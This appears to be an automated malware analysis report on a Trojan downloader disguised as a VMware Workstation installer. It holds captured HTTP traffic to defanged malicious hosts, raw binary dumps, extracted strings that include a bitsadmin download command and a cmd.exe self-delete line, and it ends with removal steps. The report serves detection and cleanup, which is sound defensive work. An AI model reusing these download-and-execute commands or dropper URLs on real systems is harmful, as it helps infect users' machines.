0YWxsZXI8L2I PC9zcGFuPgkJCgkJCTxzcGFuIGlkPSJhbWlfZGVjX25vdGUiPlRvIGNvb
nRpbnVlIGluc3RhbGxpbmcgeW91ciBhcHBsaWNhdGlvbiwgY2xpY2sgb24gdGhlIE5leHQ
gYnV0dG9uLjwvc3Bhbj4KCQk8L2Rpdj4KCQkJCQoJCTxkaXYgaWQ9ImRfYW1pX0Rvd25sb
2FkTWFuYWdlck1vZGVybiIgc3R5bGU9ImhlaWdodDogMTMwcHgiPiAKCQk8YnIgLz4KCQk
JPGRpdiBkYXRhLWFkanVzdC1oZWlnaHQ9IjAiIGlkPSJtaWRkbGUiIHN0eWxlPSJ3aWR0a
DogMTAwJTsgcGFkZGluZzogMHB4OyBoZWlnaHQ6IDExMHB4OyBtYXJnaW4tdG9wOiA
<<< skipped >>>

GET /Html/7d0e2798-c9e5-442a-a48d-1a3dfc747868/logo.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.quaintspokenracketiest.site/index.php

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.quaintspokenracketiest.site

Connection: Keep-Alive

HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Type: image/png

Date: Sun, 29 May 2016 02:44:42 GMT

ETag: "24ab1-7262-533bc993b517f"

Last-Modified: Thu, 26 May 2016 10:53:21 GMT

Server: Apache/2.2.15 (Red Hat)

Content-Length: 29282

Connection: keep-alive
.PNG........IHDR.......s.....`..1....pHYs...............9.iTXtXML:com.
adobe.xmp.....<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?&
gt;.<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5
-c021 79.155772, 2014/01/13-19:44:00        ">.   <rdf:RDF xmlns
:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">.      <rdf:D
escription rdf:about="".            xmlns:xmp="hXXp://ns.adobe.com/xap
/1.0/".            xmlns:dc="hXXp://purl.org/dc/elements/1.1/".       
     xmlns:photoshop="hXXp://ns.adobe.com/photoshop/1.0/".            
xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/".            xmlns:stEvt=
"hXXp://ns.adobe.com/xap/1.0/sType/ResourceEvent#".            xmlns:t
iff="hXXp://ns.adobe.com/tiff/1.0/".            xmlns:exif="hXXp://ns.
adobe.com/exif/1.0/">.         <xmp:CreatorTool>Adobe Photosh
op CC 2014 (Windows)</xmp:CreatorTool>.         <xmp:CreateDa
te>2016-03-16T16:09:11 02:00</xmp:CreateDate>.         <xm
p:ModifyDate>2016-03-16T16:23:05 02:00</xmp:ModifyDate>.     
    <xmp:MetadataDate>2016-03-16T16:23:05 02:00</xmp:Metadata
Date>.         <dc:format>image/png</dc:format>.       
  <photoshop:ColorMode>3</photoshop:ColorMode>.         &l
t;xmpMM:InstanceID>xmp.iid:36122a74-ac0f-5d40-8bf0-cb214281bd07<
/xmpMM:InstanceID>.         <xmpMM:DocumentID>adobe:docid:pho
toshop:1f386400-eb82-11e5-9c68-b3c1a0aff854</xmpMM:DocumentID>. 
        <xmpMM:OriginalDocumentID>xmp.did:ff769801-1319-ee4c
<<< skipped >>>

GET /download.php?version=1.1.5.26&monitor=1&z2=0&ci=2140&appsetupurl=http://pe-sixi.com/downloadS.php?bu=am&prefix=Setup&instid[appname]=installer&instid[cmdline]=/S&instid[appimageurl]=http://pe-sixi.com/img/icon_installer.png HTTP/1.0

Host: VVV.dosecuretrips.com

User-Agent: NSISDL/1.2 (Mozilla)

Accept: */*

HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

Access-Control-Expose-Headers: X-Target-FN

Cache-Control: no-store, no-cache, must-revalidate

Cache-Control: post-check=0, pre-check=0

Content-Disposition: attachment; filename="Setup__2140_il21.exe"

Content-Type: application/x-msdownload

Date: Sun, 29 May 2016 02:44:37 GMT

Expires: Sat, 26 Jul 1997 05:00:00 GMT

Last-Modified: Sun, 29 May 2016 02:44:37 GMT

Pragma: no-cache

Server: Apache/2.2.15 (Red Hat)

X-Powered-By: PHP/5.3.3

X-Target-FN: Setup__2140_il21.exe

Content-Length: 664784

Connection: Close
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$...................
....#V......#V......#V........x.......Q.......A......................~
........E......~......Rich............................PE..L....NJW....
........................7].......0....@..........................`....
../[email protected].... ..................
................................................@............0..8.....
.......................text...6........................... ..`.rdata..
.....0......................@[email protected]..........................@.
...rsrc........ ......................@[email protected]..\G.......H..........
[email protected]..........................................................
......................................................................
......................................................................
......................................................................
............................................V......t.P.{A............F
.....^................................U...E.V.0.E.......t ....t :.|..7
.A.AF..u......3......^]....9.u..>.u.3.3......^]....9.t......3......
^]...........U..Qh\.A..E.P.M..sU.............U..j.hK(A.d.....PQSVW.p.A
[email protected],.M....M..N..E..F..F......F...
...F......F....3..E......;[email protected]_^[..]...VW.......
t.j..G...WV.......t.j..G.Wj.PV.(....M.d......Y_^[..].......U..j.h.(A.d
.....PQVW.p.A.3.P.E.d........>.......j...?........}..E.......t.
<<< skipped >>>

The Trojan connects to the servers at the folowing location(s):

.text

`.rdata

@.data

.ndata

.rsrc

@.reloc

RegDeleteKeyExW

Kernel32.DLL

PSAPI.DLL

%s=%s

GetWindowsDirectoryW

KERNEL32.dll

ExitWindowsEx

GetAsyncKeyState

USER32.dll

GDI32.dll

SHFileOperationW

ShellExecuteW

SHELL32.dll

RegDeleteKeyW

RegCloseKey

RegEnumKeyW

RegOpenKeyExW

RegCreateKeyExW

ADVAPI32.dll

COMCTL32.dll

ole32.dll

VERSION.dll

O8,reA

l;`]w`#r%s

7.rdata

KERNEL32.DLL

nsArray.dll

Join

invalid URL

Host: %s

GET %s HTTP/1.0

User-Agent: NSISDL/1.2 (Mozilla)

http=

Unable to open %s

%skB (%d%%) of %skB at %u.
ukB/s

(%u hours remaining)

(%u minutes remaining)

(%u seconds remaining)

Downloading %s

WS2_32.dll

NSISdl.dll

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity version="1.0.0.0" processorArchitecture="X86" name="Nullsoft.NSIS.exehead" type="win32"/><description>Nullsoft Install System v2.46.5-Unicode</description><dependency><dependentAssembly><assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="X86" publicKeyToken="6595b64144ccf1df" language="*" /></dependentAssembly></dependency><trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"><security><requestedPrivileges><requestedExecutionLevel level="requireAdministrator" uiAccess="false"/></requestedPrivileges></security></trustInfo><compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1"><application><supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/><supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"/></application></compatibility></assembly>

logging set to %d

settings logging to %d

created uninstaller: %d, "%s"

WriteReg: error creating key "%s\%s"

WriteReg: error writing into "%s\%s" "%s"

WriteRegBin: "%s\%s" "%s"="%s"

WriteRegDWORD: "%s\%s" "%s"="0xx"

WriteRegExpandStr: "%s\%s" "%s"="%s"

WriteRegStr: "%s\%s" "%s"="%s"

DeleteRegKey: "%s\%s"

DeleteRegValue: "%s\%s" "%s"

WriteINIStr: wrote [%s] %s=%s in %s

CopyFiles "%s"->"%s"

CreateShortCut: out: "%s", in: "%s %s", icon: %s,%d, sw=%d, hk=%d

Error registering DLL: Could not load %s

Error registering DLL: %s not found in %s

GetTTFFontName(%s) returned %s

GetTTFVersionString(%s) returned %s

Exec: failed createprocess ("%s")

Exec: success ("%s")

Exec: command="%s"

ExecShell: success ("%s": file:"%s" params:"%s")

ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d

Exch: stack < %d elements

RMDir: "%s"

MessageBox: %d,"%s"

Delete: "%s"

File: wrote %d to "%s"

File: skipped: "%s" (overwriteflag=%d)

File: error creating "%s"

File: overwriteflag=%d, allowskipfilesflag=%d, name="%s"

Rename failed: %s

Rename on reboot: %s

Rename: %s

IfFileExists: file "%s" does not exist, jumping %d

IfFileExists: file "%s" exists, jumping %d

CreateDirectory: "%s" created

CreateDirectory: can't create "%s" - a file already exists

CreateDirectory: can't create "%s" (err=%d)

CreateDirectory: "%s" (%d)

SetFileAttributes: "%s":X

Sleep(%d)

detailprint: %s

Call: %d

Aborting: "%s"

Jump: %d

verifying installer: %d%%

... %d%%

hXXp://nsis.sf.net/NSIS_Error

~nsu.tmp

install.log

%u.%u%s%s

Skipping section: "%s"

Section: "%s"

New install of "%s" to "%s"

.DEFAULT\Control Panel\International

Software\Microsoft\Windows\CurrentVersion

*?|<>/":

invalid registry key

HKEY_DYN_DATA

HKEY_CURRENT_CONFIG

HKEY_PERFORMANCE_DATA

HKEY_USERS

HKEY_LOCAL_MACHINE

HKEY_CURRENT_USER

HKEY_CLASSES_ROOT

x%c

RMDir: RemoveDirectory failed("%s")

RMDir: RemoveDirectory on Reboot("%s")

RMDir: RemoveDirectory("%s")

RMDir: RemoveDirectory invalid input("%s")

Delete: DeleteFile failed("%s")

Delete: DeleteFile on Reboot("%s")

Delete: DeleteFile("%s")

%s: failed opening file "%s"

"C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nst2.tmp\Setup__2140_il21.exe"

o2get.link/taveara?q=setup&name=Vmware+workstation+10.0.5+buil

etup&instid[appname]=installer&instid[cmdline]=/S&instid[appimageurl]=http://pe-sixi.com/img/icon_installer.png

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nst2.tmp\NSISdl.dll

E~1\"%CurrentUserName%"\LOCALS~1\Temp\nst2.tmp

E~1\"%CurrentUserName%"\LOCALS~1\Temp\nst2.tmp\NSISdl.dll

1.1.1.6

Software\Microsoft\Windows\CurrentVersion\Internet Settings

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nst2.tmp

Setup__2140_il21.exe

SETUP_~1.EXE

Exec: success (""C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nst2.tmp\Setup__2140_il21.exe"")

itor=1&z2=0&ci=2140&appsetupurl=http://pe-sixi.com/downloadS.php?bu=am&prefix=Setup&instid[appname]=installer&instid[cmdline]=/S&instid[appimageurl]=http://pe-sixi.com/img/icon_installer.png

Vmware workstation 10.0.5 buil Setup

0204812

tp://tabiso2get.link/taveara?q=setup&name=Vmware+workstation+10.0.5+buil

u3.space/stub_maker_uk.php?url=hXXp://tabiso2get.link/taveara?q=setup&name=Vmware+workstation+10.0.5+buil

0123456789 /

mware workstation 10.0.5 buil

c:\%original file name%.exe

%original file name%.exe

CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nse1.tmp

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\

7694700

hXXp://VVV.dosecuretrips.com/download.php?version=1.1.5.26&monitor=1&z2=0&ci=2140&appsetupurl=http://pe-sixi.com/downloadS.php?bu=am&prefix=Setup&instid[appname]=installer&instid[cmdline]=/S&instid[appimageurl]=http://pe-sixi.com/img/icon_installer.png

1W7zfujX.exe

hXXp://up.sdfuus98d7f.xyz/launch_v5.php?p=sevenzip&pid=1505&tid=4312341&b_typ=pe&n=Vm13YXJlK3dvcmtzdGF0aW9uKzEwLjAuNStidWls&reb=1&ic=

%original file name%.exe_652_rwx_10001000_00007000:

.text

`.rdata

@.data

.rsrc

@.reloc

/key=

Setup__2140_il21.exe_1796:

.text

`.rdata

@.data

.rsrc

@.reloc

FTPQ

inflate 1.2.8 Copyright 1995-2013 Mark Adler

function not supported

operation canceled

address_family_not_supported

operation_in_progress

operation_not_supported

protocol_not_supported

operation_would_block

address family not supported

broken pipe

inappropriate io control operation

not supported

operation in progress

operation not permitted

operation not supported

operation would block

protocol not supported

GetProcessWindowStation

operator

29 107 102

97 55 107 83 112 78 97 17

99 59 105 82 71 71 74 33 98

98 22 78 5 54 5 65 62 107

98 27 65

98 55 115 114 71

98 55 115 102 109 83 64 62

105 61 102 82 77 72 74 60 70

105 61 102 82 77 72 74 60 80

75 38 99 90 104 5 65 62 107

75 33 107 89 107 64 80 34

74 62 98 5 54 5 65 62 107

119 55 102 82 66 66 73 55

86 32 113

82 32 108 69 112

1.2.8

KERNEL32.dll

ole32.dll

RegOpenKeyW

RegCloseKey

ADVAPI32.dll

GetProcessHeap

GetCPInfo

zcÁ

@=%uaR

kw~?%x

kIT.ot

u`.eP

C]exE

k%cn-r

.DfKqGy

F[h.Hdc

<[email protected]

Ø]XR\v

e.Sq9

.hOy_

.ChCF(

I,*.%d

]C%xJc qk

"h^.EG

e_.NkjY

4.Vg6

[R~.myj

6U.Qd

wp.pE

s1f-'

)%X14

T%UK5R

<assemblyIdentity type="win32" processorArchitecture="*" version="8.6.4.2" name="mintcar"/>

<supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"/>

<supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/>

<supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"/>

<supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}"/>

<ms_asmv2:requestedExecutionLevel level="requireAdministrator" uiAccess="false"/>

<assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="*" publicKeyToken="6595b64144ccf1df" language="*" />

< <$<(<,<0<4<8<<<

0 0$0(0,0004080

00U0k0u0{0

9"9&9-919

0 0$0(0,0004080<0

Amscoree.dll

- CRT not initialized

- Attempt to initialize the CRT more than once.

- floating point support not loaded

kernel32.dll

USER32.DLL

91 100 112

81 125 5

76 99 113

72 116 102 11 45 94 94

38 89 79 62 4 123 117 79

72 84 70 43 45 126 126

75 108 96 11

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nst2.tmp\Setup__2140_il21.exe

normal exe

8.2.12.7

blues.exe

Setup__2140_il21.exe_1796_rwx_00BF0000_000B3000:

.text

`.rdata

@.data

.rsrc

@.reloc

j5SSh

8%uEP3

xSSSh

FTPjKS

FtPj;S

C.PjRV

Visual C   CRT: Not enough memory to complete call to strerror.

Broken pipe

Inappropriate I/O control operation

Operation not permitted

portuguese-brazilian

operator

GetProcessWindowStation

WinHttpSetStatusCallback

RvJTcpN8IxIR

RvJcdZhpLxBA6ExE3WgO6FZjmA==

Y9lQeIkndCRJ6XhKx3lv9XZ5jmkvG0D8W0LBY2P0UmeReDoSSL1bRI4oTP8fepRxIh5f ExEwGlTkQ==

Failed to get the Temp folder: %d

RegOpenKeyTransactedW

RegCreateKeyTransactedW

RegDeleteKeyTransactedW

RegDeleteKeyExW

Y9JRZIl8IhtN6UZEwEBB9V5wmG90TWXzW2TASU/sUXuSfCo0Q/BfR8t5Rf8FN7lyORlA8k5PjmREphpz3U4mGF7pYUrDaB2 bB0=

Y9JRZIl8IhtN6UZEwEBB9V5wmG90TWXzW2TASU/sUXuSfCo0Q/BfR8t5Rf8fXpk9axMM UBcwGFP ls3mHMqEki9YGCk

Y9JRZIl8IhtN6UZEwEBB9V5wmG90TWXzW2TASU/sUXuSfCo0Q/BfR8t5Rf8fXpk9axMM/FxYx2pO/ls3iXJuUn xD1nLeVLiH2SJfDoSDLhLIQ==

Y9JRZIl8IhtN6UZEwEBB9V5wmG90TWXzW2TASU/sUXuSfCo0Q/BfR8t5Rf8fRIl8OgJfoApPjmtP6R90knA GEL4QV/xZESmGnPRPSsFXvJdFotpKg==

Y9JRZIl8IhtN6UZEwEBB9V5wmG90TWnzXl7LeEXSUWSJfCIbTelGRMAtcv5ec4RJIT5C7ltKwmEAvmwd

Y9JRZIl8IhtN6UZEwEBB9V5wmG90TWnzXl7LeEXSUWSJfCIbTelGRMAtZelNeI89IRkMz0pKynR09HZ5jmkvG0C9Cnik

Y9JRZIl8IhtN6UZEwEBB9V5wmG90TWXzXF/PYUzPV2WYfCp9

Y9JRZIl8IhtN6UZEwEBB9V5wmG90TWj4Xl7LeEXSUWSJfCIbTelGRMAH

Y9JRZIl8IhtN6UZEwEBB9V5wmG90TWjyWEXCYkH/FzKuMW5Sf7EPDv0kKg==

Y9JRZIl8IhtN6UZEwEBB9V5wmG90TWXzXF/PYUyzGnPRPWskAL0KeIIoRLI1

Y9JRZIl8IhtN6UZEwEBB9V5wmG90TWXzW2/Bek73UHaZNWskAL0KeIItBcgTMpk0RA==

Y9JRZIl8IhtN6UZEwEBB9V5wmG90TWXzW2/Bek73UHaZPQcTDLhLC89 U/JYeZh5bgNDvQp4gi1T715jmCBrEyY=

Y9JRZIl8IhtN6UZEwEBB9V5wmG90TWXzW2/Bek73UHaZPQcTDLhLC89 U/JYeZh5bgNDvQp4gi1T715jmCBrEwTvSl/cdAmR

Y9JRZIl8IhtN6UZEwEBB9V5wmG90TWXzW2/Bek73UHaZPT0DTelKC5MwAP9MY6JZIQBC8UBKykhO/1pzuG88GF69XHTGWU/vXnu5cjkZQPJOT t/UvRNZMA4Kn0=

Y9JRZIl8IhtN6UZEwEBB9V5wmG90TWXzW2/Bek73UHaZPT0oRMlAX89hZPRIeZFyLxNp711E3H4Avls39w==

Y9JRZIl8IhtN6UZEwEBB9V5wmG90TWXzW2/Bek73UHaZJ242SPlGRcktY99QYJNxIRZIvUlE3C0FyB9jkj0jKEjyWEXCYkH/TD73

Y9JRZIl8IhtN6UZEwEBB9V5wmG90TWXzW2LAflT6U3vVdCpKCfkDC8djU 9ee5FeIxNg9EFOkyhztx9Hj3ItEl/uYUrDaB2 bDvddCAEWPxDR NiRP4CMpk0RA==

Y9JRZIl8IhtN6UZEwEBB9V5wmG90TWXzW3nLYUX6THKtcj0DXPJBTsoH

Y9JRZIl8IhtN6UZEwEBB9V5wmG90TWXzW3nLYUX6THKtcj0DXPJBTsotYf9bN4htKhZY F0L2mIA71dy3X8rEEXzRkXJLU/9H2OVeG4bRe5bC6Q=

Y9JRZIl8IhtN6UZEwEBB9V5wmG90TWXzW3nLYUX6THKtcj0DXPJBTsotYf9bN9hObgNDvVtDyy1F9Vs3kntuA0T4D0fHflS7NQ==

cv5TcpxuKydD7ltbwWNF/x8yrhc=

Y9JRZIl8IhtN6UZEwEBB9V5wmG90TWXzW3/GbE7wTB0=

Y9JRZIl8IhtN6UZEwEBB9V5wmG90TWXzXF/PYUzYUHqNciASQulcIQ==

Y9JRZIl8IhtN6UZEwEBB9V5wmG90TX74QkTYaHD0TGSUfyISb/JCW8FjRfVLZN04HVde EJE2GhEu1llknBuG0XuWyE=

CInstallationManager::IsPartOfInstallation value=%s

CInstallationManager::SetComponentInstallationEnded %S

%Y-%m-%d %H:%M:%S

afVWY5R8Ih5W9EFMjnRP7k03lHM9A03xQ0raZE/1EzeJdS8DDPBOUo55QfBaN5t4OVdf ExEwGlTtx9nkXgvBEm9WErHeQ61EQ==

CProgressUpdateRequest::CreateInstance %S

CProgressUpdateRequest::ProgressUpdate %S

Send progress update request %s

Progress Request for '%S' return %s

Y89eZJZOLR9J VpHy0VB9Vt7mG90TW/vSkraaGT0SHmRci8TePxcQI5LQfJTcpk9OhgM/l1Oz3lFu1553XQgBFj8QUjLLU/9H16pfD0cf/hdXcduRaEfMoUX

%c%c%c%c

VERSION.dll

KERNEL32.dll

USER32.dll

GDI32.dll

RegDeleteKeyW

RegCloseKey

RegQueryInfoKeyW

RegEnumKeyExW

RegOpenKeyExW

RegCreateKeyExW

ADVAPI32.dll

SHELL32.dll

ole32.dll

OLEAUT32.dll

SHLWAPI.dll

Secur32.dll

WinHttpCloseHandle

WinHttpOpen

WinHttpSetOption

WinHttpGetProxyForUrl

WinHttpCrackUrl

WinHttpConnect

WinHttpOpenRequest

WinHttpSetStatusCallback

WinHttpSendRequest

WinHttpQueryHeaders

WinHttpQueryDataAvailable

WinHttpReadData

WinHttpReceiveResponse

WINHTTP.dll

GetProcessHeap

GetCPInfo

zcÁ

.?AVAsyncWinHttp@@

.?AV?$_IDispEventLocator@$0MJ@$1?DIID_DWebBrowserEvents2@@3U_GUID@@B@ATL@@

.?AV?$IDispEventSimpleImpl@$0MJ@VCBoot@@$1?DIID_DWebBrowserEvents2@@3U_GUID@@B@ATL@@

.?AUISupportErrorInfo@@

.?AV?$CAtlExeModuleT@VCBootStrapperModule@@@ATL@@

?456789:;<=

!"#$%&'()* ,-./0123

watchful.bookmen.1 = s 'Inst Class'

CLSID = s '{6049631c-35db-48bf-9ca7-32847298bfb6}'

watchful.bookmen = s 'Inst Class'

CurVer = s 'watchful.bookmen.1'

ForceRemove {6049631c-35db-48bf-9ca7-32847298bfb6} = s 'Inst Class'

ProgID = s 'watchful.bookmen.1'

VersionIndependentProgID = s 'watchful.bookmen'

val ServerExecutable = s '%MODULE_RAW%'

TypeLib = s '{971927da-ce1b-405c-89e7-e6c52e643df4}'

.sssh

REÚ

\.crr

s1f-'

.DC l

tweb

<assemblyIdentity type="win32" processorArchitecture="*" version="1.2.1.2" name="win"/>

<supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"/>

<supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/>

<supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"/>

<supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}"/>

<ms_asmv2:requestedExecutionLevel level="requireAdministrator" uiAccess="false"/>

type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="*" publicKeyToken="6595b64144ccf1df" language="*" />

stdole2.tlbWWW(

msgWd

keyNameW

urlW

url2d

YtcmdLineW

P%CreateIconWW

iconUrlW

regKeyWW

CheckRegKeyW

keyWd

W.launchCommandLineWWW

~cmdW

WDIsShortNameInstalledd

Created by MIDL version 7.00.0555 at Sat May 28 22:02:18 2016

3"3/3>3\3

:':-:;:@:

9 9(909<9

mscoree.dll

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

wKERNEL32.DLL

ADVAPI32.DLL

WUSER32.DLL

Winhttp.dll

shlwapi.dll

HKEY_CURRENT_CONFIG

HKEY_DYN_DATA

HKEY_PERFORMANCE_DATA

HKEY_USERS

HKEY_LOCAL_MACHINE

HKEY_CURRENT_USER

HKEY_CLASSES_ROOT

appimageurl

cmdl

capp=%s&cid=%s&mhx=%S&base=%s

\bitsadmin.exe

\Support Tools\bitsadmin.exe

dream.capture

%sami%s%d%d.exe

%d-%.2d-%.2dT%.2d:%.2d:00

%d-%.2d-%.2dT%.2d:-:00

/retrynav %d

Advapi32.dll

shell32.dll

{23A96663-59D1-4C44-A0DB-1118D9C4ABBA}

OLEAUT32.DLL

kernel32.dll

sn=%s&hx=%S&base=%s

rfsw%d

advapi32.dll

v2.0.50727

v1.1.4322

Software\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice

%ProgramFiles%\Microsoft Silverlight\sllauncher.exe

NT%d.%dSP%d

%ProgramFiles%\Mozilla Firefox\firefox.exe

%d.%d.%d.%d

ami%sExd

bitsadmin /transfer amijob /download /priority high %s %s

ami%sExi

/c del "%s"

cmd.exe

ami%sExdel

version.dll

OleAut32.dll

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nst2.tmp\Setup__2140_il21.exe

{8856F961-340A-11D0-A96B-00C04FD705A2}

1.1.5.26

setup.exe

quaintspokenracketiest.site

Remove it with Ad-Aware

1. Click (here) to download and install Ad-Aware Free Antivirus.
2. Update the definition files.
3. Run a full scan of your computer.

Manual removal*

1. Terminate malicious process(es) (How to End a Process With the Task Manager):No processes have been created.
2. Delete the original Trojan file.
   
3. Delete or disinfect the following files created/modified by the Trojan:
   

   %Documents and Settings%\%current user%\Local Settings\Temp\nst2.tmp\nsArray.dll (6 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nst2.tmp\450204812 (1 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nst2.tmp\Setup__2140_il21.exe (52544 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nst2.tmp\NSISdl.dll (15 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\dm_left_image[1].png (1928 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\accept[1].gif (3 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\amipb[1].js (34209 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\desktop.ini (67 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\next[1].gif (2 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\main[1].css (1177 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\logo[1].png (2150 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\desktop.ini (67 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\desktop.ini (67 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\finish[1].gif (2 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\cancel[1].gif (1 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\skip[1].gif (1 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Setup__2140_il21.exe:typelib (8 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\cancel1[1].gif (2 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\amipixel.cfg (31 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\decline[1].gif (1 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\footer_img[1].png (937 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\index[1].htm (7461 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nst2.tmp\Setup__2140_il21.exe:typelib (8 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\desktop.ini (67 bytes)
   %Documents and Settings%\%current user%\Desktop\Continue installation .lnk (848 bytes)

4. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
   
5. Reboot the computer.
   

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.